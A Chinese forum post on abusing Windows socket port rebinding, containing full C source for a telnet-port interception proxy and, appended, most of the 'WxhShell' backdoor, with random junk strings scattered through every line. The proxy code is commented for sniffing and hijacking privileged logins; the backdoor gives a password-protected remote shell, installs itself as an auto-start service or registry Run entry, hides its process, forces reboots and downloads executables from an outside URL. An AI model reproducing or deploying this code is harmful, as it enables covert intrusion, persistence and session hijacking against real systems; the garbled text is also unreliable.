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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +!).'  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5Fydh0.  
Y7G sL7I  
  saddr.sin_family = AF_INET; py6<QoGV  
<ZT C^=3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .zb  
]($ \7+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !ooi.Oz*Tu  
'}agi.z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 w4L()eP#?=  
}L0 [ Jo:  
  这意味着什么?意味着可以进行如下的攻击: (bm^R-SbB  
OvH:3 "Sdy  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 EBhdP  
# epP~J_f  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9J:|"@)N  
l|q-kRRjn  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9nY`rF8@  
 \? /'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  t 7Y*/v&P(  
@9^OHRZX  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 w4fKh  
j"Jf|Hq $  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !7t&d  
bQD8#Ml1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [ G 9Pb)  
=r]l"T  
  #include Xg~9<BGsi  
  #include n bxY'`8F  
  #include 81nD:]7  
  #include    8T+9 fh]I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >H+t ZV  
  int main() {@X>!]  
  { j$ T12  
  WORD wVersionRequested; AojL4H|  
  DWORD ret; $9%F1:u  
  WSADATA wsaData; Y:CX RU6eD  
  BOOL val; QC'Ru'8S  
  SOCKADDR_IN saddr; i]n2\v AG  
  SOCKADDR_IN scaddr; cGm3LS6]*  
  int err; I`{3I-E  
  SOCKET s; xLed];2G  
  SOCKET sc; GR|\OJ<2  
  int caddsize; P!-RZEt$  
  HANDLE mt; b5MBzFw  
  DWORD tid;   bo<P%$(D  
  wVersionRequested = MAKEWORD( 2, 2 ); b}TvQ+W]2  
  err = WSAStartup( wVersionRequested, &wsaData ); h6k" D4o\  
  if ( err != 0 ) { -1Tr!I:1  
  printf("error!WSAStartup failed!\n"); -k + jMH  
  return -1; ; gBR~W  
  } &G2&OFAr]q  
  saddr.sin_family = AF_INET; 4eWv).  
   gWgp:;Me  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Kyx9_2  
fXWy9 #M  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %N Q mV_1  
  saddr.sin_port = htons(23); 4prJ!k  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (uX?XX^  
  { {.Qv1oOa  
  printf("error!socket failed!\n"); Bq$IBAot  
  return -1; f?d5Ltg   
  } s[GHDQ;!  
  val = TRUE; ZtZ3I?%U3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 lEl.'X$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _1[Wv?  
  { A~xw:[zy$a  
  printf("error!setsockopt failed!\n"); =rymd3/  
  return -1; gaN/ kp  
  } uD/@d'd_4L  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; z5gVP8*z5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]Ea-MeH  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 JDf>Qg{  
![Qi+xyc  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) xHt7/8wF  
  { 4Q!A w  
  ret=GetLastError(); G,>YzjMY`  
  printf("error!bind failed!\n"); \k5"&]I3  
  return -1; U!uPf:p2  
  } Ma!  
  listen(s,2); \^6[^\@[  
  while(1) 2|x !~e.  
  { Hc\C0V<  
  caddsize = sizeof(scaddr); UYxn? W.g  
  //接受连接请求 SY|K9$M^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); z&QfZs  
  if(sc!=INVALID_SOCKET) o/3.U=px~  
  { Sm<*TH!\n_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~AjPa}@ f  
  if(mt==NULL) ]AQ}_dRi=  
  { frUs'j/bZ  
  printf("Thread Creat Failed!\n"); c\n_[r  
  break; LxIGPC~  
  } N!c FUZ5]  
  } e".=E ;o`  
  CloseHandle(mt); F.U@8lr  
  } $B8Vg `+  
  closesocket(s); 1UK= t  
  WSACleanup(); s! 2[zJ19p  
  return 0; hZfj$|<  
  }   ]y.V#,6e  
  DWORD WINAPI ClientThread(LPVOID lpParam) G@/iK/>5|`  
  { \dCGu~bT  
  SOCKET ss = (SOCKET)lpParam; fV4rVy8  
  SOCKET sc; z'l HL  
  unsigned char buf[4096]; ~;9n6U  
  SOCKADDR_IN saddr; {@CQ (  
  long num; -+{[.U<1jk  
  DWORD val; uGz)Vz&3  
  DWORD ret; +YZo-tE  
  //如果是隐藏端口应用的话,可以在此处加一些判断 sJKr%2nVV  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   V?dwTc  
  saddr.sin_family = AF_INET; !`%j#bv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); XA<h,ONE?  
  saddr.sin_port = htons(23); oi|N8a2R  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y5F+~z }{  
  { "x R6~8  
  printf("error!socket failed!\n"); ]+Lr'HF  
  return -1; Eu' ;f_s  
  } ]7}!3m  
  val = 100; ~-Kx^3(#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n 6 pJ]Ce  
  { 9;Z{++z  
  ret = GetLastError(); -&D=4,#  
  return -1; K@*+;6y@  
  } R& t*x  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Hrpz4E%\Aw  
  { V\m"Hl>VIU  
  ret = GetLastError(); +r'&6Me!  
  return -1; kf>3T@  
  } 8OZasf  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Hk;;+'-  
  { W6T4Zsg  
  printf("error!socket connect failed!\n"); S[!6Lw  
  closesocket(sc); MJ ch Z  
  closesocket(ss); 9V1d`]tP  
  return -1; ic`BDkNO  
  } iXy1{=BDv  
  while(1) #1U>  
  { ]fzXrN_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 UstUPO  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 D&F{0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Z@1kx3Wx$  
  num = recv(ss,buf,4096,0); EA(4xj&:U  
  if(num>0) rl 7up  
  send(sc,buf,num,0); 7P2n{zd,  
  else if(num==0) #M|lBYdW}  
  break; o3`U;@&u  
  num = recv(sc,buf,4096,0); ;Tr,BfV|Bf  
  if(num>0) 5e. aTW;U  
  send(ss,buf,num,0); >BO$tbU5b  
  else if(num==0) |hxiARr4  
  break; UBuh '?j  
  } lXTE#,XVf  
  closesocket(ss); xjr4')h  
  closesocket(sc); :+DrV\)  
  return 0 ; SI~jM:S}  
  } jbipNgxkr  
8)bR\s   
cy.r/Z}  
========================================================== 'y; Kj  
_?H3*!>3  
下边附上一个代码,,WXhSHELL A0 Nx?  
*gH]R*Q[Rt  
========================================================== pDlrK&;\z  
BL 1KM2]  
#include "stdafx.h" 2j8GJU/L  
iH4LZ  
#include <stdio.h> uCr& `  
#include <string.h> BJwuN  
#include <windows.h> _M/N_Fm  
#include <winsock2.h> #?w07/~L  
#include <winsvc.h> LH2B*8=^2  
#include <urlmon.h> I+H~ 5zq.  
sR1_L/.  
#pragma comment (lib, "Ws2_32.lib") g8uqW1E^  
#pragma comment (lib, "urlmon.lib") =oI[E~1<  
z(LR!hr  
#define MAX_USER   100 // 最大客户端连接数 0]bt}rh  
#define BUF_SOCK   200 // sock buffer fY9+m}$S$  
#define KEY_BUFF   255 // 输入 buffer exJc[G&t(  
v^@)&,  
#define REBOOT     0   // 重启 H9)n<r  
#define SHUTDOWN   1   // 关机 I;NW!"pU  
}qM^J;uy  
#define DEF_PORT   5000 // 监听端口 6=]Gom&S  
Q~nVbj?c2v  
#define REG_LEN     16   // 注册表键长度 ':pDlUA  
#define SVC_LEN     80   // NT服务名长度 ns>$  
A .&c>{B7  
// 从dll定义API w@^J.7h^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *@''OyL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r\Y,*e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =F$?`q`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pgES)  
O8 .xt|  
// wxhshell配置信息 7 2JwG7qh  
struct WSCFG { I}bu  
  int ws_port;         // 监听端口 %3qjgyLZ|  
  char ws_passstr[REG_LEN]; // 口令 pFY*Y>6ar  
  int ws_autoins;       // 安装标记, 1=yes 0=no :@i+yN cV  
  char ws_regname[REG_LEN]; // 注册表键名 ~'%d]s+q  
  char ws_svcname[REG_LEN]; // 服务名 G/p\MzDko  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G^t)^iI"'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Uap0O2n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FDD=I\Ic  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~\JB)ca.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pF8$83S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J[:#(c&c!1  
9Of;8R  
}; `{!A1xKZ  
S'34](9n6  
// default Wxhshell configuration Y"bm4&'  
struct WSCFG wscfg={DEF_PORT, n7bVL#Sq[  
    "xuhuanlingzhe", 76rv$z{g^  
    1, ru 6`Z+p  
    "Wxhshell", [<@T%yq  
    "Wxhshell", `15}jTi  
            "WxhShell Service", +8zACs{p  
    "Wrsky Windows CmdShell Service", 8%CznAO"?W  
    "Please Input Your Password: ", 6 8,j~e3-i  
  1, MS;^:t1`  
  "http://www.wrsky.com/wxhshell.exe", }d}gb`Du  
  "Wxhshell.exe" QD,m`7(  
    }; tcj "rV{G  
<@(\z   
// 消息定义模块 >u> E !5O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xF!IT"5D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wA$7SWC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "L]v:lg3  
char *msg_ws_ext="\n\rExit."; ]Ik~TW&  
char *msg_ws_end="\n\rQuit."; :ir#7/  
char *msg_ws_boot="\n\rReboot..."; HjA~3l7  
char *msg_ws_poff="\n\rShutdown..."; 6Sd:5eTEQ  
char *msg_ws_down="\n\rSave to "; M,JwoKyg  
:G 5p`;hGo  
char *msg_ws_err="\n\rErr!"; u!D?^:u=)  
char *msg_ws_ok="\n\rOK!"; a?+C]u?_D  
;>Z+b#C[  
char ExeFile[MAX_PATH]; y_Lnk=Q ^  
int nUser = 0; n )X%&_  
HANDLE handles[MAX_USER]; ]2m=lt1  
int OsIsNt; NW6;7nWb  
Z~Q5<A9Jz  
SERVICE_STATUS       serviceStatus; 1R8tR#l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !O"2)RU1  
:;Z/$M16B  
// 函数声明 \@Cz 32wg  
int Install(void); 0J'^<G TL  
int Uninstall(void); WDghlC6g!l  
int DownloadFile(char *sURL, SOCKET wsh); L-E &m*%  
int Boot(int flag); F}l3\uC]  
void HideProc(void); @@\qso  
int GetOsVer(void); DL V ny]  
int Wxhshell(SOCKET wsl); ThX3@o  
void TalkWithClient(void *cs); 9ad)=3A&L  
int CmdShell(SOCKET sock); Se!w(Y&  
int StartFromService(void); J'WzEgCnU  
int StartWxhshell(LPSTR lpCmdLine); Jf2JGTcm  
D,.`mX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ub8d]GZJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R-zS7Jyox  
,Dv*<La`\  
// 数据结构和表定义 {D8opepO)  
SERVICE_TABLE_ENTRY DispatchTable[] = |Jx:#OM  
{ 25Z} .))  
{wscfg.ws_svcname, NTServiceMain}, W]Xwt'ABz  
{NULL, NULL} %R4 \[e  
}; MMrN#&r  
@Pc7$qD%  
// 自我安装 GjwH C{  
int Install(void) $MDmY4\  
{ GCYXDovh  
  char svExeFile[MAX_PATH]; jX4$PfOhR  
  HKEY key; ^!^M Gzu  
  strcpy(svExeFile,ExeFile); ,$t1LV;o=  
OH>Gc-V  
// 如果是win9x系统,修改注册表设为自启动 &<*M{GW'&  
if(!OsIsNt) { .^A4w;jPU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D,..gsg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^/?7hbr  
  RegCloseKey(key); 8zMGpY#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rEp\ld  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C"n!mr{srt  
  RegCloseKey(key); *P\lzM  
  return 0; Zq33R`  
    } a:*N0  
  } 1ik.|T<f0  
} &I ~'2mpk  
else { {=?[:5  
? ;Sg,.J  
// 如果是NT以上系统,安装为系统服务 XS2/U<s d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x$jLB&+ICz  
if (schSCManager!=0) F/J s K&&  
{ rCqwJoC`v  
  SC_HANDLE schService = CreateService a\m=E#G  
  ( z4D)Xy"/  
  schSCManager, 'J*'{  
  wscfg.ws_svcname, +(x(Ybl#  
  wscfg.ws_svcdisp, U^[AW$WzU  
  SERVICE_ALL_ACCESS, i;~.kgtq4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :-59~8&  
  SERVICE_AUTO_START, 7p'pz8n`X  
  SERVICE_ERROR_NORMAL, 5+{oQs_  
  svExeFile, 5xKod0bA  
  NULL, KU "+i8"  
  NULL, Il\{m?Y  
  NULL, Tr>_R%bK  
  NULL, 9E5*%Hu_  
  NULL yT<"?S>D  
  ); zytW3sTZA  
  if (schService!=0) GBZu<t/  
  { m==DBh  
  CloseServiceHandle(schService); s w >B  
  CloseServiceHandle(schSCManager); $27OrXQ|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *lZ V3F  
  strcat(svExeFile,wscfg.ws_svcname); _T.`+0UV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aW_Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V&j]*)  
  RegCloseKey(key); VXk[p  
  return 0; 3s]o~I2x  
    } ]srL>29_b  
  } \5N \NN @J  
  CloseServiceHandle(schSCManager); bhDqRM  
} KRm)|bgE  
} 9qi|)!!L  
~)pZ5%C  
return 1; o:UNSr  
} )RFY2 }  
'_DB0_Dp  
// 自我卸载 GZ5DI+3  
int Uninstall(void) \COoU("  
{ (JOR: 1aT  
  HKEY key; Zd)LVc[  
,*V%  
if(!OsIsNt) { >G?*rg4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .0/"~5  
  RegDeleteValue(key,wscfg.ws_regname);  7a_u=\,  
  RegCloseKey(key); SsMs#C8u%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,,j >2Ts  
  RegDeleteValue(key,wscfg.ws_regname); -{A64gfFxT  
  RegCloseKey(key); Xeja\5zB  
  return 0; e GAto  
  } 3`3my=   
} qMVuBv  
} TRgj`FG  
else { lM#/F\  
to_dNJbv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FN26f*/  
if (schSCManager!=0) p;zT #%  
{ 9^sz,auB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /3Y"F"`M.  
  if (schService!=0) ~_CZ1  
  { |LZ+_  
  if(DeleteService(schService)!=0) { G a$2o6  
  CloseServiceHandle(schService); .pxUO3g  
  CloseServiceHandle(schSCManager); FS)C<T]t  
  return 0; 8rBa}v9  
  } &-IkM%_A9  
  CloseServiceHandle(schService); NU.4_cixb  
  } ,{ 0&NX  
  CloseServiceHandle(schSCManager); o@$py U8  
} OWr\$lm@z$  
} bB/fU7<{)u  
ze8MFz'm  
return 1; 'g<FL`iP  
} y9i+EV  
.db:mSrL  
// 从指定url下载文件 ^8ilUu  
int DownloadFile(char *sURL, SOCKET wsh) E_D@ 7a  
{ {^:i}4ZRl  
  HRESULT hr; ^5!"[RB\  
char seps[]= "/"; `P|V&;}K  
char *token; 4e[ 0.2?  
char *file; _w <6o<@  
char myURL[MAX_PATH]; w2!5TKZ`  
char myFILE[MAX_PATH]; <gvgr4@^yR  
~O /B  
strcpy(myURL,sURL); ? R[GSS1  
  token=strtok(myURL,seps); }*P;kV  
  while(token!=NULL) ucLh|}jJ5  
  { hR[_1vuIu  
    file=token; F&+_z&n)  
  token=strtok(NULL,seps); 0x,4H30t(  
  } }lx'NY~(W  
}vF=XA  
GetCurrentDirectory(MAX_PATH,myFILE); p7Yb8#XfU  
strcat(myFILE, "\\"); +q432ZG  
strcat(myFILE, file); 7S_"h*Ud  
  send(wsh,myFILE,strlen(myFILE),0); Z2]\k|%<Fa  
send(wsh,"...",3,0); ZOJ7 ^g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,/p .!+  
  if(hr==S_OK) )q{e L$  
return 0; v~!_DD au  
else L6=5]?B=  
return 1; d\ 7OtM  
` gor  
} bHs},i6  
NU7k2`bqAk  
// 系统电源模块 wD pL9q  
int Boot(int flag) lz#@_F|.*  
{ NQbgk+&wD  
  HANDLE hToken; Es:oXA  
  TOKEN_PRIVILEGES tkp; EF6"PH+J@  
m FC9\   
  if(OsIsNt) { <;Td8T;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,UT :wpc^i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~05(92bK  
    tkp.PrivilegeCount = 1; 8\`otJY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OBM&N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cbx( L8  
if(flag==REBOOT) { 1[?xf4EMG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bFIv}c+;  
  return 0; j4D`Xq2 X  
} M1Th~W9l  
else { {`% q0Nr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y2x)<.cDP  
  return 0; _cc9+o  
} wqQrby<  
  } rY=dNK]d  
  else { \z-OJ1[F  
if(flag==REBOOT) { R|7_iMIZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]<o^Q[OL  
  return 0; d+7Dy3i|g=  
} PrEfJ?  
else { sGbk4g  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tjDCfJx*  
  return 0; w}(Ht_6q{  
} }~NWOJ3;  
}  {0} Q5  
qzE -y-9@  
return 1; J#k.!]r,Y  
} S\11 8TpD  
<:0d%YB)  
// win9x进程隐藏模块 lz0'E'%{P  
void HideProc(void) E K^["_*A  
{ j2!^iGS}  
z]Mu8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6Y= MW{=F  
  if ( hKernel != NULL ) `SESj)W(y  
  { 6:Zd,N=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l$!g# ?w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^: V6=  
    FreeLibrary(hKernel); (qy82F-|2  
  } x4S0C[k  
l`<u\],  
return; 0o&c8?@j  
} - z"D_5  
l*4_  
// 获取操作系统版本 ~]lVixr9  
int GetOsVer(void) #-FfyxQ8ai  
{ -]vPF|  
  OSVERSIONINFO winfo; Vbpt?1:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zF=E5TL-,4  
  GetVersionEx(&winfo); Ru^j~Cj5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <-a6'g2y  
  return 1; -MH~1Tw6Z  
  else JNgl  
  return 0; S"joXmJ/-C  
} 7S]akcT/  
ejPK-jxCa/  
// 客户端句柄模块 )3KQ QGi8  
int Wxhshell(SOCKET wsl) "DNiVL.  
{ yBwCFn.uP-  
  SOCKET wsh; r081.<  
  struct sockaddr_in client; [H2"z\\u  
  DWORD myID; g6T /k7a  
1W2hd!J7C  
  while(nUser<MAX_USER) {nlqQ.jO  
{ x*z$4)RP  
  int nSize=sizeof(client); Lr`G. e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); El`f>o+EJ  
  if(wsh==INVALID_SOCKET) return 1; aY@st]p  
lip1wR7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $P%b?Y/  
if(handles[nUser]==0) f^[:w1X$sM  
  closesocket(wsh); 3XomnL{  
else FYu=e?L  
  nUser++; ZAcW@xfb  
  } By-A1|4Cp`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !9JK95;  
1K'.QRZMb9  
  return 0; Oe*+pReSD  
} 2OJ=Xb1  
Epf[8La  
// 关闭 socket ^qlfdf  
void CloseIt(SOCKET wsh) |LNAd:0  
{ j?rq%rQd  
closesocket(wsh); ~%o?J"y  
nUser--; jI9Kn41  
ExitThread(0); B^u qu  
} Ss~dK-{e7  
?sBbe@OC?  
// 客户端请求句柄 #4<Rs|K  
void TalkWithClient(void *cs) *w;=o}`  
{ DsP FB q  
?~>#(Q  
  SOCKET wsh=(SOCKET)cs; (qM(~4|`  
  char pwd[SVC_LEN]; =W~K_jE5lo  
  char cmd[KEY_BUFF]; O*7Gl G  
char chr[1]; /_G^d1T1?L  
int i,j; #RwqEZ  
?u]%T]W  
  while (nUser < MAX_USER) { OAiip,  
g0BJj=  
if(wscfg.ws_passstr) { s&7,gWy}BE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =5sUpP V(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tu6Q7CjW8  
  //ZeroMemory(pwd,KEY_BUFF); !(EJ.|LH  
      i=0; #YMU}4=:  
  while(i<SVC_LEN) { N6BFs(  
J~[A8o  
  // 设置超时 dkRG4 )~g  
  fd_set FdRead; :b_R1ZV|  
  struct timeval TimeOut; KvrcO#-sL  
  FD_ZERO(&FdRead); ^SouA[  
  FD_SET(wsh,&FdRead); !@x'?+   
  TimeOut.tv_sec=8; #D-L>7,jA  
  TimeOut.tv_usec=0; qs]7S^yw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $`&uu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C r~!N|(  
,!RbFME&H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Iq-+X3i  
  pwd=chr[0]; f;;(Q-.  
  if(chr[0]==0xd || chr[0]==0xa) { 3K57xJzK  
  pwd=0; SH/KC  
  break; 8[|RsM   
  } )./%/ _*K  
  i++; i2EXE0;  
    } xN +j]L C  
hK t c  
  // 如果是非法用户,关闭 socket ~#b&UR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .WR+)^&zz  
} 5)MVkJ=R  
V@xlm h,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <d\Lvo[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9)a:8/Y  
/k(KA [bS  
while(1) { uZ-yu|1  
6-@ X  
  ZeroMemory(cmd,KEY_BUFF); Y!6,ty'  
]~SOGAFW  
      // 自动支持客户端 telnet标准   JPX5Jm()  
  j=0; *@|EaH/  
  while(j<KEY_BUFF) { :Sx!jx>W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )PU?`yLTr  
  cmd[j]=chr[0]; tp,e:4\ 8Q  
  if(chr[0]==0xa || chr[0]==0xd) { od7 [h5r  
  cmd[j]=0; CmNd0S4v  
  break; NiwJ$Ah~X  
  } #O< 2wMb2<  
  j++; s4RqMO5eI  
    } ^uu)|  
`&"-|  
  // 下载文件 :Qg3B ';  
  if(strstr(cmd,"http://")) { 52$7vYMto  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "]dNN{Wka  
  if(DownloadFile(cmd,wsh)) ,rB"ag !  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8jE6zS }m  
  else  0~{&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l0m\2Ttf  
  } rH9wRY(  
  else { _z<y]?q  
.CClc(bO_/  
    switch(cmd[0]) { s.E}xv  
  4wZ{Z 2w  
  // 帮助 CV~\xYY  
  case '?': { H h4G3h0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F]hKi`@  
    break; s:j"8ZH  
  } ==[a7|q  
  // 安装 \@6nRs8b|N  
  case 'i': { ZX0ZN2 ]  
    if(Install()) Gu-*@C:^&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0k?ph$  
    else mr+J#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \(PC#H%  
    break; = dyApR:'  
    } ?d*0-mhQ,  
  // 卸载 GUJaeFe  
  case 'r': { Y!VYD_'P  
    if(Uninstall()) ?qeBgkL(B^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Md9b_&'  
    else smpz/1U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :&#HrD[KT  
    break; v(v Lk\K7  
    } *TpzX y  
  // 显示 wxhshell 所在路径 gHLBtl/  
  case 'p': { vV.TK_ y  
    char svExeFile[MAX_PATH]; [Yx)`e  
    strcpy(svExeFile,"\n\r"); fI2/v<[  
      strcat(svExeFile,ExeFile); 0W|}5(C  
        send(wsh,svExeFile,strlen(svExeFile),0); a}Db9=  
    break; etX &o5A  
    } #Y3:~dmJ-  
  // 重启 ,"PKGd]^  
  case 'b': { 47R4gs#W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OC|9~B1  
    if(Boot(REBOOT)) /YbyMj*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oaI|A^v  
    else { aI$D qnF4  
    closesocket(wsh); l[EnFbD6  
    ExitThread(0); U2*g9Es  
    } ?*}^xXI/  
    break; /P*mF^Y  
    } #"^F:: b-  
  // 关机 SMr ]Gf.  
